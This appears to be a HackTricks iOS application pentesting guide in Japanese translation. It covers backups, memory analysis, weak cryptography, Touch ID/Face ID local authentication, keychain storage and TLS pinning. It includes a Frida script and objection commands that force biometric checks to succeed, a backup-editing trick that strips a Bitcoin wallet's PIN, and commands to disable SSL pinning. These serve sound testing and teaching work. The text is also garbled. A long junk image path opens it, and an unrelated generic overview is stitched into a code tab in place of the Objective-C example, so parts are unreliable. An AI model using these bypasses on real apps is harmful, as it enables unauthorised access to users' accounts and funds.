![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

========================
ASL is here to serve you
> watch
OK

Jun  7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun  7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun  7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun  7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

バックアップ

iOSには、デバイスに保存されているデータのコピーを作成する自動バックアップ機能が含まれています。iTunesmacOS CatalinaまでまたはFindermacOS Catalina以降を使用するか、iCloudバックアップ機能を使用して、ホストコンピュータからiOSバックアップを作成できます。いずれの場合も、バックアップにはApple Pay情報やTouch IDの設定などの高度に機密性の高いデータを除く、iOSデバイスに保存されているほぼすべてのデータが含まれます。

iOSはインストールされたアプリとそのデータをバックアップするため、明らかな懸念は、アプリによって保存された機密ユーザーデータがバックアップを通じて意図せず漏洩する可能性があるかどうかです。もう1つの懸念は、データを保護したりアプリの機能を制限するために使用される機密の設定が、変更されたバックアップを復元した後にアプリの動作を変更するために改ざんされる可能性があるかどうかです。両方の懸念は妥当であり、これらの脆弱性は現在、多数のアプリに存在することが証明されています。

モバイルアプリがインストールされたデバイスのバックアップには、アプリのプライベートディレクトリのすべてのサブディレクトリ(Library/Caches/を除く)とファイルが含まれます。したがって、アプリのプライベートディレクトリまたはサブディレクトリにあるファイルやフォルダに平文で機密データを保存しないようにしてください

Documents/Library/Application Support/のすべてのファイルは、デフォルトで常にバックアップされますが、バックアップからファイルを除外することができます。NSURLIsExcludedFromBackupKeyキーを使用してNSURL setResourceValue:forKey:error:を呼び出すことで、バックアップからファイルとディレクトリを除外できます。
ファイルシステムのプロパティであるNSURLIsExcludedFromBackupKeyCFURLIsExcludedFromBackupKeyを使用して、ファイルとディレクトリをバックアップから除外できます。

{% hint style="warning" %} したがって、アプリケーションのバックアップをチェックする際には、アクセス可能な機密情報があるかどうかを確認し、バックアップの設定を変更してバックアップを復元することで、アプリケーションの機密な動作を変更できるかどうかを確認する必要があります。 {% endhint %}

テスト方法

まず、デバイスのバックアップを作成しますFinderを使用して行うことができます。公式のAppleのドキュメントは、iPhone、iPad、およびiPod touchのバックアップの場所を特定するのに役立ちます。

デバイスのバックアップ(/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}を見つけたら、grepなどを使用して機密情報を探したり、iMazingのようなツールを使用したりできます。

バックアップが暗号化されているかどうかを確認するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定です

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

必要に応じて、暗号化されたバックアップで作業する場合、DinoSecのGitHubリポジトリには、backup_tool.pybackup_passwd.pyなどのPythonスクリプトがいくつかあります。これらは良い出発点となるでしょう。ただし、最新のiTunes/Finderバージョンでは動作しない可能性があり、微調整が必要になるかもしれません。

また、ツールiOSbackupを使用して、パスワードで暗号化されたiOSバックアップから簡単にファイルを読み取り、抽出することもできます。

動作の変更方法

オープンソースのビットコインウォレットアプリであるBitherでは、UIをロックするためにPINを設定することができます。
このPINは、pin_codeというkeynet.bither.plistというファイルに保存されています。
このplist内のキーを削除し、バックアップを復元すると、ウォレットにアクセスできるようになります。

機密データのメモリテスト

ある時点で、機密情報がメモリに保存されることになります。目的は、この情報ができるだけ短時間で公開されるようにすることです。

アプリケーションのメモリを調査するためには、まずメモリダンプを作成します。または、デバッガなどを使用してメモリをリアルタイムで分析することもできます。どの方法を使用しても、これは非常にエラーが発生しやすいプロセスです。ダンプは実行された関数によって残されたデータを提供し、重要なステップを実行し忘れる可能性があります。また、分析中にデータを見落とすことは非常に簡単です。データの足跡(正確な値または形式)を知っていない限り、メモリにキーが表示されることはほとんどありません。たとえば、アプリがランダムに生成された対称鍵によって暗号化される場合、その鍵の値を他の手段で見つけない限り、メモリに鍵を見つけることは非常に困難です。

メモリダンプの取得と分析

脱獄済みのデバイスまたは非脱獄済みのデバイスを使用して、objectionFridumpを使用して、アプリのプロセスメモリをダンプすることができます。

メモリがダンプされた後(たとえば、"memory"という名前のファイルにダンプされた場合)、探しているデータの性質に応じて、さまざまなツールセットが必要になります。たとえば、文字列に焦点を当てている場合、stringsコマンドやrabin2 -zzコマンドを実行してそれらの文字列を抽出することが十分かもしれません。

# using strings
$ strings memory > strings.txt

# using rabin2
$ rabin2 -ZZ memory > strings.txt

お気に入りのエディタでstrings.txtを開き、機密情報を特定してください。

ただし、他の種類のデータを調査したい場合は、radare2とその検索機能を使用することをお勧めします。詳細やオプションのリストについては、radare2の検索コマンド/?)のヘルプを参照してください。以下はその一部です。

$ r2 <name_of_your_dump_file>

[0x00000000]> /?
Usage: /[!bf] [arg]  Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00                    search for string 'foo\0'
| /c[ar]                       search for crypto materials
| /e /E.F/i                    match regular expression
| /i foo                       search for string 'foo' ignoring case
| /m[?][ebm] magicfile         search for magic, filesystems or binary headers
| /v[1248] value               look for an `cfg.bigendian` 32bit value
| /w foo                       search for wide string 'f\0o\0o\0'
| /x ff0033                    search for hex string
| /z min max                   search for strings of given size
...

ランタイムメモリ解析

r2fridaを使用することで、アプリが実行中であり、ダンプする必要なくメモリを分析および検査することができます。例えば、r2fridaから前述の検索コマンドを実行し、文字列や16進数の値などをメモリ内で検索することができます。その際、セッションをr2 frida://usb//<name_of_your_app>で開始した後、検索コマンドおよび他のr2frida固有のコマンドの前にバックスラッシュ\を付けることを忘れないでください。

破損した暗号化

鍵管理プロセスの不備

一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。

安全でないおよび/または非推奨のアルゴリズムの使用

開発者は、認証のチェック、データの保存、送信に非推奨のアルゴリズムを使用すべきではありません。これらのアルゴリズムのいくつかには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース耐性のある方法を使用する必要があります。

チェック

コード内にハードコードされたパスワード/シークレットがあるか、それらが予測可能であるか、コードが弱い****暗号化アルゴリズムを使用しているかを確認するために行う主なチェックです。

興味深いことに、objectionを使用して一部の暗号ライブラリを自動的にモニタリングすることができます。以下のように実行します:

ios monitor crypt

詳細な情報については、iOSの暗号化APIとライブラリにアクセスしてください。https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

ローカル認証

テスターは、ローカル認証は常にリモートエンドポイントで強制されるべきであること、または暗号化プリミティブに基づいていることを意識する必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。

ローカル認証フレームワークは、開発者が認証ダイアログをユーザーに拡張するためのAPIセットを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するためにkeychainを活用することが可能です(および推奨されます)。

指紋IDセンサーは、SecureEnclaveセキュリティコプロセッサによって操作され、指紋データをシステムの他の部分に公開しません。Touch IDの次に、Appleは顔認識に基づいた認証を可能にする_Face ID_を導入しました。

開発者は、Touch ID/Face ID認証を組み込むために2つのオプションがあります

  • LocalAuthentication.frameworkは、ユーザーをTouch IDを介して認証するために使用できる高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。
  • Security.frameworkは、キーチェーンサービスにアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを保護する必要がある場合、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。Security.frameworkにはC APIがありますが、いくつかのオープンソースのラッパーが利用可能です。これにより、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単になります。

{% hint style="danger" %} LocalAuthentication.frameworkまたはSecurity.frameworkを使用することは、攻撃者によってバイパスされる可能性のある制御であることに注意してください。これらの制御は、真偽値のみを返し、進行するためのデータは返しません。詳細については、Don't touch me that way, by David Lindner et alを参照してください。 {% endhint %}

ローカル認証フレームワーク

開発者は、LAContextクラスのevaluatePolicy関数を利用して認証プロンプトを表示することができます。利用可能な2つのポリシーは、受け入れ可能な認証形式を定義します

  • deviceOwnerAuthentication(Swift)またはLAPolicyDeviceOwnerAuthentication(Objective-C)利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブ化されていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効にされていない場合、ポリシーの評価は失敗します。
  • deviceOwnerAuthenticationWithBiometrics(Swift)またはLAPolicyDeviceOwnerAuthenticationWithBiometrics(Objective-C)認証はTouch IDに制限され、ユーザーはTouch IDのために求められます。

evaluatePolicy関数は、ユーザーが正常に認証されたかどうかを示す真偽値を返します。つまり、簡単にバイパスすることができます(以下を参照)。

キーチェーンを使用したローカル認証

iOSキーチェーンAPIはそして使用すべきですローカル認証を実装するために使用できます。このプロセスでは、アプリはキーチェーンに秘密の認証トークンまたは他の秘密のデータを保存します。リモートサービスに認証するために、ユーザーはパスフレーズまたは指紋を使用してキーチェーンをロック解除し、秘密のデータを取得する必要があります。

キーチェーンは、特別なSecAccessControl属性を持つアイテムを保存することができます。これにより、ユーザーがTouch ID認証をパスした後または属性パラメータで許可されている場合はパスコード、キーチェーンからアイテムにアクセスできるようになります。

次の例では、文字列「test_strong_password」をキーチェーンに保存します。文字列は、パスコードが設定されている場合にのみ現在のデバイスでアクセスでき、現在登録されている指に対してTouch ID認証が行われた後にのみアクセスできますkSecAttrAccessibleWhenPasscodeSetThisDeviceOnlyパラメータとSecAccessControlCreateFlags.biometryCurrentSetパラメータ):

{% tabs %} {% tab title="Swift" %}

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

{% tab title="Objective-C" %}

以下は、iOSアプリのペネトレーションテストに関する情報です。

概要

iOSアプリのペネトレーションテストは、iOSアプリケーションのセキュリティ脆弱性を特定し、悪用される可能性を排除するために行われます。このガイドでは、iOSアプリのペネトレーションテストに使用される主要なツールとテクニックについて説明します。

ツール

以下は、iOSアプリのペネトレーションテストに使用される主要なツールです。

  • Burp Suite: プロキシサーバーとして使用され、トラフィックのキャプチャと操作を行います。
  • Frida: ランタイムインストルメンテーションフレームワークであり、iOSアプリの動的解析に使用されます。
  • Cycript: iOSアプリのランタイム解析とデバッグに使用されます。
  • MobSF: モバイルセキュリティフレームワークであり、iOSアプリのスキャンと解析に使用されます。

テクニック

以下は、iOSアプリのペネトレーションテストで使用される主要なテクニックです。

  • リバースエンジニアリング: iOSアプリのバイナリ解析を行い、アプリの内部構造やセキュリティ脆弱性を特定します。
  • デバッグ: iOSアプリをデバッグモードで実行し、実行中のプロセスやメモリの状態を調査します。
  • インターセプト: プロキシサーバーを使用して、iOSアプリとの通信をキャプチャし、リクエストやレスポンスを操作します。
  • ランタイム解析: iOSアプリの実行中に動的解析を行い、実行時の挙動やセキュリティ脆弱性を特定します。

結論

iOSアプリのペネトレーションテストは、アプリのセキュリティを向上させるために重要です。このガイドで説明されているツールとテクニックを使用して、iOSアプリのセキュリティ脆弱性を特定し、修正することができます。

{% endtab %}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

{% endtab %} {% endtabs %}

今、私たちはキーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。

{% tabs %} {% tab title="Swift" %}

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

{% endtab %}

{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

{% endtab %} {% endtabs %}

検出

アプリのバイナリの共有ダイナミックライブラリのリストを分析することで、アプリ内でのフレームワークの使用も検出することができます。これは otool を使用して行うことができます。

$ otool -L <AppName>.app/<AppName>

もしアプリでLocalAuthentication.frameworkが使用されている場合、出力には以下の2つの行が含まれますLocalAuthentication.frameworkは内部でSecurity.frameworkを使用していることを覚えておいてください):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

もしSecurity.frameworkが使用されている場合、2番目のものだけが表示されます。

ローカル認証フレームワークのバイパス

Objection

Objection Biometrics Bypassは、LocalAuthenticationをバイパスするために使用されます。ObjectionはFridaを使用してevaluatePolicy関数をインストルメントし、認証が成功しなかった場合でもTrueを返すようにします。ios ui biometrics_bypassコマンドを使用して、安全でない生体認証をバイパスします。Objectionはジョブを登録し、evaluatePolicyの結果を置き換えます。これはSwiftとObjective-Cの両方で動作します。

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

もし脆弱性がある場合、モジュールは自動的にログインフォームをバイパスします。

Frida

DVIA-v2アプリケーションから**evaluatePolicy**の使用例:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

ローカル認証をバイパスするためには、上記に貼り付けられたコードスニペットで示されているように、evaluatePolicyのチェックをバイパスするFridaスクリプトを作成する必要があります。上記のコードスニペットでわかるように、evaluatePolicycallbackを使用してresultを決定します。したがって、ハックを達成する最も簡単な方法は、そのコールバックを傍受し、常にsuccess=1を返すようにすることです。

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

IPCを介した機密機能の公開

カスタムURIハンドラー/ディープリンク/カスタムスキーム

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}

ユニバーサルリンク

{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}

UIActivity共有

{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}

UIPasteboard

{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}

アプリ拡張機能

{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}

Webビュー

{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}

シリアル化とエンコーディング

{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}

ネットワーク通信

暗号化なしでの通信が行われていないことを確認することは重要です。また、アプリケーションがサーバーのTLS証明書を正しく検証していることも確認する必要があります。
このような問題をチェックするためには、Burpのようなプロキシを使用できます。

{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}

ホスト名のチェック

TLS証明書の検証における一般的な問題は、証明書が信頼できるCAによって署名されているかどうかをチェックすることですが、証明書のホスト名がアクセスされているホスト名と一致しているかどうかをチェックしないことです。
この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、Burpで異なるホスト名のために新しい証明書を作成して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。

証明書ピニング

アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。テスト中には、Burpが独自の証明書を提供するため、これは問題になる可能性があります。
Jailbrokenデバイス内でこの保護をバイパスするために、アプリケーションSSL Kill Switchをインストールするか、Burp Mobile Assistantをインストールすることができます。

また、objectionios sslpinning disableを使用することもできます。

その他

  • **/System/Library**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。
  • ユーザーがApp Storeからインストールしたアプリケーションは、**/User/Applications**内にあります。
  • **/User/Library**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
  • **/User/Library/Notes/notes.sqlite**にアクセスすると、アプリケーション内に保存されたメモを読むことができます。
  • インストールされたアプリケーションのフォルダー(/User/Applications/<APP ID>/)の中には、いくつかの興味深いファイルがあります:
  • iTunesArtwork:アプリで使用されるアイコン
  • iTunesMetadata.plistApp Storeで使用されるアプリの情報
  • /Library/*:設定とキャッシュが含まれています。**/Library/Cache/Snapshots/***には、バックグラウンドに送信する前にアプリケーションに対して実行されたスナップショットがあります。

ホットパッチング/強制更新

開発者は、アプリをApp Storeに再提出して承認されるまで待つことなく、すべてのインストールされたアプリをリモートで即座にパッチすることができます。
この目的のためには、通常はJSPatchが使用されますが、Sirenreact-native-appstore-version-checkerなどの他のオプションもあります。
**これは悪意のある第三者のSDKによって悪用される可能性がある危険なメカニズムです。そのため、自動更新に使用される方法あればを確認し、テストすることが推奨されます。**この目的のために、以前のバージョンのアプリをダウンロードしてみることができます。

サードパーティ

サードパーティのSDKの問題の一つは、SDKが提供する機能に対して細かい制御ができないことです。SDKを使用すると、診断漏洩や安全でないHTTP接続を含むすべての機能を使用することになります。また、通常、アプリケーションの開発者はSDKの脆弱性をパッチすることができません
さらに、一部のSDKは、コミュニティに非常に信頼されるようになると、マルウェアを含むようになることがあります。

さらに、これらのサービスが提供する機能には、アプリの使用中にユーザーの行動を監視するためのトラッキングサービス、バナー広告の販売、ユーザーエクスペリエンスの向上などが含まれる場合があります。サードパーティサービスのデメリットは、開発者がサードパーティライブラリを介して実行されるコードの詳細を把握できないことです。そのため、サービスに送信する情報は必要最小限にとどめ、機密情報は開示しないようにする必要があります。

データをサードパーティサービスに送信する際には、ユーザーアカウントを特定することができるPII個人を特定できる情報の公開を防ぐために、データを匿名化する必要があります。

アプリケーションが使用しているライブラリは、アプリに対して**otool**を実行することで見つけることができます(さらに使用されている共有ライブラリを見つけるために、各共有ライブラリに対して実行することもできます)。

参考文献

詳細情報


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥